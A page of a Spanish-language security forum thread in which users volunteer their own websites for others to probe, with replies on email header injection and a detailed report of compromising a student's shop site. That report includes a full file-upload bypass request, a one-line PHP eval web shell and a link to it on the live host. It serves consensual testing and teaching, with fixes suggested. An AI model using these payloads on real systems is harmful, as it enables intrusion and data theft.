elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Incinera tu sitio WEB!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 Ir Abajo Respuesta Imprimir
Autor Tema: Incinera tu sitio WEB!  (Leído 16,666 veces)
MinusFour
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.529


I'm fourth.


Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #10 en: 29 Julio 2020, 16:12 pm »

Lo del AES no es algo que el haya programado o configurado si el hosting es compartido. Es una medida de seguridad que está usando el servidor para prevenir DDoS.

https://kyprizel.github.io/testcookie-nginx-module/

Es simplemente un JS challenge.
En línea

Drakaris

Desconectado Desconectado

Mensajes: 286


Todo lo que puedas imaginar, lo puedes crear.


Ver Perfil
Re: Incinera tu sitio WEB!
« Respuesta #11 en: 29 Julio 2020, 17:07 pm »

También intenté verificar si el formulario de correos tiene inyección de cabeceras:

Código:

asunto=test%0a%0cReply-To:%20test@demo.com&mensaje=test%0a%0a.%0a&anonimo=on


Ya que mail() de php adjunta las cabeceras de manera plana separadas por saltos de línea \r\n, pero no se si realmente funcionó porque no puedo hacer que me llegue una copia del correo, asi que podrías validar tu mismo, si realiza el filtrado de saltos de línea o no.

Sí, el formulario es vulnerable a inyeccion de cabeceras, cuando heche un vistazo a mi correo, vi un correo recibido el 28 julio 9:23pm con el asunto "test Reply-To:test@demo.com | Cleanet". Y con el cuerpo: "test".

No se te envió porque esta programado para que se me envie a mi correo. Esto lo que hace es conectarse al gmail de mi cuenta (cleanet) y lo reenvia a la propia.
En línea

Lo increible, no es lo que ves, sino como es
MinusFour
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.529


I'm fourth.


Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #12 en: 29 Julio 2020, 19:07 pm »

Sí, el formulario es vulnerable a inyeccion de cabeceras, cuando heche un vistazo a mi correo, vi un correo recibido el 28 julio 9:23pm con el asunto "test Reply-To:test@demo.com | Cleanet". Y con el cuerpo: "test".

No se te envió porque esta programado para que se me envie a mi correo. Esto lo que hace es conectarse al gmail de mi cuenta (cleanet) y lo reenvia a la propia.

Eso significa que no eres vulnerable o al menos no eres vulnerable por el metodo que uso WHK. Si pudieras inyectar cabeceras, hubieras visto el "Reply-To" en las cabeceras del correo y no en el asunto del correo.
En línea

AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #13 en: 29 Julio 2020, 20:50 pm »

;-) :laugh: :xD

Por otro lado el servidor donde está hosteado tiene 6 CVE potenciales del 2019...

B#

Yo administro ese servidor.

Tendré que revisar cuales son, mantengo al dia con la linea de software oficinal de Debian 10, pero si es posible que exista algo, tendré que mirar que es.
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #14 en: 30 Julio 2020, 02:59 am »

Tipo de encryptación.
Se supone que cada petición debe de validar un hash diferente, algo como Tokens CSRF, en cada petición cambia el token y debe de validarse así se evita automatización de peticiones. Corrigeme si estoy mal WHK!

Asi es, ese formulario debiera tener una captcha con un hash de validación único, como recaptcha. En ves de tener que programar todo el formulario de contacto agregandole captchas y demás, sale mucho mas fácil y eficiente poner el correo de contacto ofuscado y que la misma gente envíe el correo desde sus propios clientes.
En línea

jhonatanAsm


Desconectado Desconectado

Mensajes: 376



Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #15 en: 30 Julio 2020, 07:57 am »

Hola chicos, me sumo a la causa:
https://choquecota.duckdns.org/file

la página principal:
https://choquecota.duckdns.org/home

la página secundaria:
https://choquecota.duckdns.org/poste

espero puedan encontrar vulnerabilidades  :silbar:

salu2
« Última modificación: 30 Julio 2020, 07:59 am por jhonatanAsm » En línea

mi primer lenguaje fue ensamblador, tengo 60 años, y no creo que haya sido un error.

- La mayor complejidad de todas es hacer complejo algo que no lo es.

- El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe.
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #16 en: 30 Julio 2020, 09:56 am »

Nopues, primero termina de construir el sitio xD solo es un proyecto hecho en Java Spring con un template que no hace nada xD, ni si quiera el buscador funciona.
En línea

jhonatanAsm


Desconectado Desconectado

Mensajes: 376



Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #17 en: 30 Julio 2020, 14:40 pm »

Me estas queriendo decir q de momento la pagina es invulnerable, y quieres q te de chance programando una funcionalidad, en la cual posiblemente programe mal y asi llegue a ser vulnerable, puesss vuamoss xD.
Por siacaso a nivel de infraestructura esta en la nube de goigle, montado en un cluster kubernetes con ingress, usando spring boot 2 y angular 8 o 7 no recuerdo. espero ayuden estos datos, espero poder añadir el buscador pronto, les aviso.

Salu2
« Última modificación: 30 Julio 2020, 14:59 pm por jhonatanAsm » En línea

mi primer lenguaje fue ensamblador, tengo 60 años, y no creo que haya sido un error.

- La mayor complejidad de todas es hacer complejo algo que no lo es.

- El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe.
Caroxh1

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: Incinera tu sitio WEB!
« Respuesta #18 en: 5 Septiembre 2020, 20:09 pm »

Hola, esta un una página web que hice hace unos meses para un proyecto de la U, estoy seguro que tiene muchas vulnerabilidades yo eh visto algunas pero ya que fue solo un proyecto supongo que lo dejé así. La página tiene dos sitios principales http://musicdum.260mb.net/ http://musicdum.260mb.net/index.php  también cuenta con sistema de login. Algunos enlaces los quité por temas de privacidad.

archivo http://musicdum.260mb.net/elhacker.net.html

Espero aprender mucho con lo que expliquen por acá. :D
« Última modificación: 5 Septiembre 2020, 20:11 pm por Caroxh1 » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Incinera tu sitio WEB!
« Respuesta #19 en: 5 Septiembre 2020, 23:01 pm »

Hola Caroxh1, tu sistema de compras tiene algunos errores muy graves.

Cuando te creas una cuenta y accedes con un usuario y tratas de ir al ícono del perfil del usuario puedes ver lo siguiente en el código fuente:

http://musicdum.260mb.net/usuarios/perfilusuario.php

Código:
<a href='../admins/salir.php'>Salir</a> <h1></h1>

¿admins?, porque a un usuario sin privilegios se le muestra una ruta que dice admins?, asi que voy a http://musicdum.260mb.net/admins/ y veo que tiene directory listing:

http://musicdum.260mb.net/admins/

Código:
[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] salir.php               2020-08-03 13:30  110   PHP: Hypertext Preprocessor script
[TXT] ingresarproductos.php   2020-08-05 15:10  2.7K  PHP: Hypertext Preprocessor script
[TXT] datosimagen.php         2020-08-23 13:22  1.2K  PHP: Hypertext Preprocessor script

http://musicdum.260mb.net/php/

Código:
Icon  Name                    Last modified      Size  Description[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] eliminarCarrito.php     2020-07-26 14:41  542   PHP: Hypertext Preprocessor script
[TXT] conexion2.php           2020-08-07 20:08  2.3K  PHP: Hypertext Preprocessor script
[TXT] conexion.php            2020-07-26 15:18  263   PHP: Hypertext Preprocessor script

El directorio /php/ lo obtuve desde el carrito de compras.

Asi que por curiosidad entro a http://musicdum.260mb.net/admins/ingresarproductos.php y me doy cuenta que puedo administrar tus productos sin ser admin.

Por lo que veo tu sistema utiliza secciones que debiesen estar controladas por distintos privilegios y para eso debes crear roles de usuarios, si el usuario no es admin entonces no debiera cargar las paginas de administración y a los directorios sin un index debes crearles un index.html en blanco o un php que haga una redirección al home.

Por otro lado, cuando intentas agregar un producto al carro de compras, no funciona el modificar cantidad porque arroja un 404 y el de eliminar producto arroja un error 500.

A demás, cuando agregas un producto la imagen se sube de manera directa tal cual al servidor, con el mismo nombre y el mismo archivo al directorio público, asi que, si logras bypasear el filtro de tipo de extension de archivo talves se pueda subir una shell y con eso acceder a la db y a los archivos php.

EDITO: ya pude subir la shell. Veo que solo valida el content-type de la cabecera de la petición pero no el contenido o la extensión del archivo, por ejemplo:

Código:
$ ncat --crlf -v musicdum.260mb.net 80
POST /admins/datosimagen.php HTTP/1.1
Host: musicdum.260mb.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=---------------------------19531431397062997021845851424
Content-Length: 865
Origin: http://musicdum.260mb.net
DNT: 1
Connection: keep-alive
Referer: http://musicdum.260mb.net/admins/ingresarproductos.php
Cookie: ...

-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="instrumento"

Ukelele
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="descripcion"

x
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="precio"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="categoria"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="inventario"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="imagen"; filename="x.php"
Content-Type: image/png

<?php phpinfo(); ?>
-----------------------------19531431397062997021845851424--


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Sep 2020 21:15:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: max-age=0
Expires: Sat, 05 Sep 2020 21:15:48 GMT

84
<script type="text/javascript">
      alert("Registro exitoso");
      window.location.href="ingresarproductos.php";
      </script>

Como puedes ver en http://musicdum.260mb.net/images/ el archivo x.php se ha subido al servidor sin problemas.

Esto sucede principalmente porque obtienes el nombre del archivo tal cual viene en la petición y lo concatenas con el directorio de subida de archivos, en ves de eso debes ponerle un nombre forzado, por ejemplo, el md5 del nombre original y cambiar la manera en que estás procesando el tipo de archivo permitido.

Ahi va la shell: http://musicdum.260mb.net/images/salir.php (por alguna extraña razón el servidor no permite visualizar el archivo x.php, talves por lo corto del nombre, quien sabe).

Citar
PHP Version 7.4.8
/home/vol12_6/260mb.net

Con eso ya puedes tomar el control de todo el sistema web, modificar archivos, acceder a la base de datos, etc.

Mira, he subido una shell real:

Código:
<?php eval(urldecode(hex2bin($_GET['ex']))); ?>

view-source:http://musicdum.260mb.net/images/server.php?ex=7072696e745f7228676c6f6228272e2e2f2a2729293b

Código:
Array
(
    [0] => ../admins
    [1] => ../assets
    [2] => ../carrito.sql
    [3] => ../cart.php
    [4] => ../checkout.php
    [5] => ../contact.php
    [6] => ../css
    [7] => ../elhacker.net.html
    [8] => ../evaluacion.php
    [9] => ../files for your website should be uploaded here!
    [10] => ../fondo.jpg
    [11] => ../fonts
    [12] => ../imagenes
    [13] => ../images
    [14] => ../index.html
    [15] => ../index.php
    [16] => ../ingresar.php
    [17] => ../js
    [18] => ../layouts
    [19] => ../php
    [20] => ../registers.php
    [21] => ../registrar.php
    [22] => ../scss
    [23] => ../shop-single.php
    [24] => ../thankyou.php
    [25] => ../usuarios
)

Tu archivo conexion.php:

Código:
<?php
  $servidor="sql204.260mb.net";
  $nombreBd="n260m_[OCULTO]_carrito";
  $usuario="n260m_[OCULTO]";
  $pass="[OCULTO]";
  $conexion = new mysqli($servidor,$usuario,$pass,$nombreBd);
  if ($conexion->connect_error) {
    die("No se pudo conectar");
  }


 ?>

Por otro lado, el archivo ingresar.php el cual sirve para la autenticación:

Código:
<?php
include'php/conexion.php';
session_start();
$username = $_POST['usuario'];
$password = $_POST['password'];

$query = "SELECT * FROM usuario WHERE email =?";
$stmt = $conexion->prepare($query);
$stmt->bind_param("s",$username);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
if (password_verify($password, $result['password']) && $result['nivel']==2) {
  $_SESSION['username'] = $username;
    header("location: ./admins/ingresarproductos.php");
}else if (password_verify($password, $result['password'])) {
  $_SESSION['username'] = $username;
    header("location: ./index.php");
}else {
  header("Location: registrar.php");

}
 ?>

Está muy bien que hagas bind de parámetros en la consulta sql para evitar inyecciones y me ha gustado que priorizes el uso de funciones nativas como password_verify().

Hay otros errores menores como por ejemplo solicitar contraseñas en un login que no tiene https y demás, pero son cosas básicas que no valen la pena mencionar.

Para los demás usuarios que están leyendo este post, les pido un poco de sentido común, para que podamos continuar realizando revisiones sin problemas, no sobreescriban ningún archivo de ese sitio ni se pongan a extraer o a publicar información de su base de datos. Mientras tanto, les puede servir para realizar pruebas e intentar llegar hasta donde yo lo hice para tomar mayor experiencia.

Gracias Caroxh1 por la oportunidad.

Saludos.
« Última modificación: 6 Septiembre 2020, 00:10 am por WHK » En línea

Páginas: 1 [2] 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Sitio Web
Desarrollo Web
Widesito 5 2,250 Último mensaje 18 Agosto 2013, 13:02 pm
por z3nth10n
Recomendacion de sitio para auditoria de sitio y prevencion
Seguridad
Cronck 0 2,148 Último mensaje 6 Febrero 2014, 17:29 pm
por Cronck
Sitio web con acceso a /cgi-sys/Count.cgi ¿Puede comprometer mi sitio?
Nivel Web
Rienzi 2 4,377 Último mensaje 1 Agosto 2017, 23:33 pm
por Luis Leon B
[Resulto] Sitio cambia de apariencia entrando desde un .php de otro sitio web
Desarrollo Web
Snoosarp 1 2,218 Último mensaje 12 Septiembre 2019, 18:29 pm
por MinusFour
sitio web
Redes
ismaelson 6 2,252 Último mensaje 30 Diciembre 2019, 20:42 pm
por @XSStringManolo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines